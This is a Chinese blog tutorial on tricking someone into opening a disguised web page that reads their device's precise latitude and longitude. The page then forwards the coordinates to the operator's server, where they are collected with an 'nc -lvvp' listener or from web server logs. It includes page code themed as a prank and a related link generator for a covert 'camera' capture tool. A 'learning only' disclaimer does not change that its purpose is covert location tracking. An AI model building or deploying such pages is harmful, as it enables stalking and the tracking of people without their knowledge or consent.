声明

以下教程仅用于学习研究目的,请勿用于非法用途

相关阅读

之前我们关于IP定位的出过很多期教程了

IP探针定位系统 附源码可以自行部署-自由者联盟
【视频教学】如何获取任意设备地理位置信息?-自由者联盟
简单2步教你获取任意设备高精度定位-自由者联盟
IP探针定位系统 附源码可以自行部署-自由者联盟

但是很多人觉得麻烦,这次我们将再做一个简化,如何更简单的获取IP定位呢?

简介

本教程将教您通过一个页面,完成高精度定位的获取

在线体验

视频教程

图文教程

体验

点击获取定位,可以读取到精度和纬度信息

图片[1]-简单2步教你获取任意设备高精度定位-FancyPig's blog

这里会具体显示

图片[2]-简单2步教你获取任意设备高精度定位-FancyPig's blog

但并不会传到服务器的日志

如何记录高精度定位信息

那么我们开启第26行代码,去掉//,然后填写您的网站路径或者是IP:端口

document.location="https://www.cvv-goods.com/demo/geo_result/"+ latlong;

可以通过2种方式来记录请求

  • 方法一:服务器监听端口记录请求
  • 方法二:服务器日志记录请求

方法一

第一种是服务端口(记得检查安全组配置是否允许该端口,以及服务器防火墙是否开启该端口)

第26行代码,例如,我想让他监听服务器的5432端口

document.location="http://39.106.66.45:5432/"+ latlong;

然后,在服务器终端中输入

nc -lvvp 5432

等待请求结果

图片[3]-简单2步教你获取任意设备高精度定位-FancyPig's blog

方法二

当然,如果你不会开启服务器端口,您也可以直接使用宝塔面板的日志功能,我们将重定向链接随意修改,可以是一个不存在的路径,但要在服务器的域名路径下, 第26行代码,例如

document.location="https://www.cvv-goods.com/demo/geo_result/"+ latlong;

然后去宝塔面板/www/wwwlogs/下寻找相关的日志文件,再从日志文件中查找日志详情即可(视频中有讲)

其他基础教程

如果您没有服务器,我们为您推荐

特价服务器购买

下面是一些腾讯云的活动,强烈建议选择腾讯云学生机,一年也就400多块钱(2核4G 3M带宽)

当然您也可以选择阿里云服务器,或者vultr国外服务器

网站搭建教程

简单2步教你获取任意设备高精度定位-自由者联盟

相关代码及工具

简陋版源代码

最基本的框架已经出来了,需要美化可以自行找模板

URL编码/解码工具

下面是常用的在线URL编码解码工具

当然,您也可以使用本地离线工具

经纬度查询工具

你只需要输入获取的纬度,经度

然后用逗号隔开查询即可

美化问题

至于页面美化的问题,这个你可以随便找一个好看的页面,然后把提交按钮上加入onclick="getLocation()",同时引入相关的javascript代码,非常简单!

我们这里以乔碧萝之前的动漫款式为例

图片[4]-简单2步教你获取任意设备高精度定位-FancyPig's blog

下面讲一下美化的思路,附源码

本文隐藏内容 – 披萨会员可见

我们先看sc.php代码


<html lang="zh-cn">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>乔碧萝你别跑</title>
    <link rel="shortcut icon" href="https://www.cvv-goods.com/icon/logo.ico" type="image/x-icon">
    <meta name="keywords" content="乔碧萝你别跑">
    <meta name="description" content="照妖镜">
    <link rel="stylesheet" href="css/bootstrap.min.css">
    <script src="js/jquery.min.js"></script>
    <script src="js/bootstrap.min.js"></script>
  </head>
  <script src="https://cdn.bootcss.com/sweetalert/2.1.2/sweetalert.min.js"></script>
	<script type="text/javascript">
    $(function () {
      function getNowFormatDate() {
        var date = new Date();
        var month = date.getMonth() + 1;
        var strDate = date.getDate();
        var currentdate = month + "月" + strDate + "日";
        return currentdate;
      }
      var text = [
        "猪头偷拍已启用新服务器",
        "链接会随时更换",
        "请加Q群387568!",
      ], content = "";
      for (var i = 0; i < text.length; i++) {
        content += (i + 1) + ". " + text[i] + "\n";
      }
      setTimeout(function () {
        swal(getNowFormatDate() + "通知", content, "success");
      }, 100)
    })
  </script>
</body>
  <style>
	body{
		margin: 0 auto;
		text-align: center;
	}
	.container {
	  max-width: 580px;
	  padding: 15px;
	  margin: 0 auto;
	}
</style>
</body>
  <style>
	body{
		margin: 0 auto;
		text-align: center;
	}
	.container {
	  max-width: 580px;
	  padding: 15px;
	  margin: 0 auto;
	}
</style>
</body>
</body>
 <body background="https://api.ixiaowai.cn/api/api.php">
    <div class="container">
      <div class="header">
        <ul class="nav nav-pills pull-right" role="tablist">
          <li role="presentation" class="active">
            <a href="https://www.cvv-goods.com/knowledge/pig=2587">源码下载</a></li>
          <li role="presentation" class="active">
            <a href="https://jq.qq.com/?_wv=1027&k=I9VBbDTj" >加入Q群</a></li>
        </ul>
        <img src="https://www.cvv-goods.com/logo.png" height="40px" align="left">
        </div>
<br>
<br>
<div class="panel panel-primary" style="margin:1% 1% 1% 1%;background: rgba(255, 251, 251, 0.7)">
        <div class="panel-heading bk-bg-primary">
          <h6>
            <span class="panel-title">乔碧萝你别跑</span>
            </h6>
        </div>
        <div class="panel-body">
<script>
function  create() {
    var input = document.getElementById('content');
    var kd = document.getElementById('kd');
    var myid = document.getElementById('myid');
    var url = document.getElementById('url');
    if (myid.value=="" || url.value==""){
        alert("ID或跳转地址不能为空!");
        return false;
    }
    kd.href = 'https://sg.iculture.cc/camera/?id='+myid.value+'&url='+url.value; 
    kd.style = ''; 
    kd.innerText = 'https://sg.iculture.cc/camera/?id='+myid.value+'&url='+url.value; 
}
   </script>
      <form>
          <div class="container-fluid">
        </div>
				<div class="panel-body">
		    
            <input type="text" style="background: rgba(255, 251, 251, 0.7)" class="form-control" id="myid" value= '' placeholder="请输入英文/数字 你能记得住的ID">
               <br>
               <input type= "text" style="background: rgba(255, 251, 251, 0.7)" class="form-control" id="url"  value= 'https://www.baidu.com'/></p>
             <input type= "button" class="btn btn-primary btn-block" value= '生成链接'  onclick= 'create();'  />
             <a id="kd" style="pointer-events: none;"></a>
             <br>
             <input type= "button" class="btn btn-primary btn-block" value= '查看照片'  onclick=window.location.href='ck.php?id='+document.getElementById('myid').value>  </p>
				</form>
		</div>
		
          <div class="tip"></div>
        </div>
      </div>
      <div class="panel panel-primary" style="margin:1% 1% 1% 1%;background: rgba(255, 251, 251, 0.7)">
        <div class="panel-body">
          <div class="alert alert-info" role="alert">
            使用说明
            <br>请先生成一个自己能记得住的ID
            <br>ID可以是英文中文数字字符
            <br>然后查找的时候使用刚才输入的ID进行查找
            <br>请收藏本站,以防丢失
            <hr class="top_hr_style02">
			<body><span id="localtime"></span>
	</nav></header>
                <script type="text/javascript">
                    function showLocale(objD) {
                        var str, colorhead, colorfoot;
                        var yy = objD.getYear();
                        if (yy < 1900) yy = yy + 1900;
                        var MM = objD.getMonth() + 1;
                        if (MM < 10) MM = '0' + MM;
                        var dd = objD.getDate();
                        if (dd < 10) dd = '0' + dd;
                        var hh = objD.getHours();
                        if (hh < 10) hh = '0' + hh;
                        var mm = objD.getMinutes();
                        if (mm < 10) mm = '0' + mm;
                        var ss = objD.getSeconds();
                        if (ss < 10) ss = '0' + ss;
                        var ww = objD.getDay();
                        if (ww == 0) colorhead = "<font color=\"#FF3030\">";
                        if (ww > 0 && ww < 6) colorhead = "<font color=\"#FF3030\">";
                        if (ww == 6) colorhead = "<font color=\"#FF3030\">";
                        if (ww == 0) ww = "星期日";
                        if (ww == 1) ww = "星期一";
                        if (ww == 2) ww = "星期二";
                        if (ww == 3) ww = "星期三";
                        if (ww == 4) ww = "星期四";
                        if (ww == 5) ww = "星期五";
                        if (ww == 6) ww = "星期六";
                        colorfoot = "</font>"
                        str = colorhead + yy + "-" + MM + "-" + dd + "丨" + hh + ":" + mm + ":" + ss + "丨" + ww + colorfoot;
                        return (str);
                    }
                    function tick() {
                        var today;
                        today = new Date();
                        document.getElementById("localtime").innerHTML = showLocale(today);
                        window.setTimeout("tick()", 1000);
                    }
                    tick();
                </script>
            <br>
        <p style="text-align:center">
          <br>© Designed by
          <a href="https://www.cvv-goods.com">猪头</a></p>
</div>
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?cb7a49e4f6a740b15e6fd25de2803712";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();
</script>
  </body>
</html>

核心的静态资源其实引用了

    <link rel="stylesheet" href="css/bootstrap.min.css">
    <script src="js/jquery.min.js"></script>
    <script src="js/bootstrap.min.js"></script>

那我们保留这些文件就好了,然后我们要把提交按钮加入,之前是生成链接

<input type= "button" class="btn btn-primary btn-block" value= '生成链接'  onclick= 'create();'  />

我们就换成获取定位,同时改变函数

<input type= "button" class="btn btn-primary btn-block" value= '获取定位'  onclick= 'getLocation()'  />

我们把无关的都去掉,然后将原本生成链接的隐藏按钮的id换成demo,同时引入JavaScript的脚本(这里要注意,javascript需要引入到最后,因为先获取到了定位才有相关参数,不然会报错:Cannot set properties of null (setting ‘innerHTML’)

             <input type= "button" class="btn btn-primary btn-block" value= '获取定位'  onclick= 'getLocation();'  />
             <p id="demo"></p>

我们看下效果

图片[5]-简单2步教你获取任意设备高精度定位-FancyPig's blog

当然,源码我们也分享到下方

© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容